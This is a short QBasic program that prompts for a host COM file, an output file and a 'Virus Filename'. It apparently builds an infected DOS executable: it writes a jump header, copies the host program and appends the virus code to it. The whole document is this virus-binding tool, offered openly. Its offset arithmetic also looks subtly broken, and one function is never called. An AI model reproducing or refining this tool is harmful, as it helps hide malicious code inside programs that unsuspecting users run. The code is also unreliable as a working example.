DECLARE FUNCTION Dec! (hx$)
DIM dd AS STRING * 1
CLS
PRINT "All files must be COM files!"
INPUT "In Filename"; f$
INPUT "Out Filename"; of$
INPUT "Virus Filename"; vf$
IF f$ = "" OR of$ = "" THEN END
IF vf$ = "" THEN v = -1
OPEN f$ FOR BINARY AS #1
OPEN of$ FOR BINARY AS #2
IF v = -1 THEN  ELSE OPEN vf$ FOR BINARY AS #3
oo$ = ""
fs = LOF(1) + LEN(LTRIM$(RTRIM$(STR$(LOF(1))))) - 1
oo$ = ""
mm$ = UCASE$(RTRIM$(LTRIM$(STR$(fs - 1))))
FOR q = LEN(mm$) + 1 TO 1 STEP -2
IF VAL(MID$(mm$, q, 2)) = 0 THEN GOTO 2
oo$ = oo$ + CHR$(VAL(MID$(mm$, q, 2)))
2 NEXT q
Hdr$ = "é" + oo$
FOR e = 1 TO LEN(Hdr$)
ff$ = MID$(Hdr$, e, 1)
PUT #2, , ff$
NEXT e
FOR mm = 1 TO LOF(1)
GET #1, mm, dd
PUT #2, , dd
dd = ""
NEXT mm
dd = ""
IF v = -1 THEN CLOSE 1, 2, 3: END
FOR m2 = 1 TO LOF(3)
GET #3, m2, dd
PUT #2, , dd
dd = ""
NEXT m2
CLOSE 1, 2

FUNCTION Dec (hx$)
FOR lq = 0 TO 255
ma$ = HEX$(lq)
IF LEN(ma$) = 1 THEN ma$ = "0" + ma$
IF LEN(ma$) = 3 THEN ma$ = "0" + ma$
IF LEN(ma$) = 5 THEN ma$ = "0" + ma$
IF UCASE$(ma$) = UCASE$(hx$) THEN Dec = lq
NEXT lq
END FUNCTION

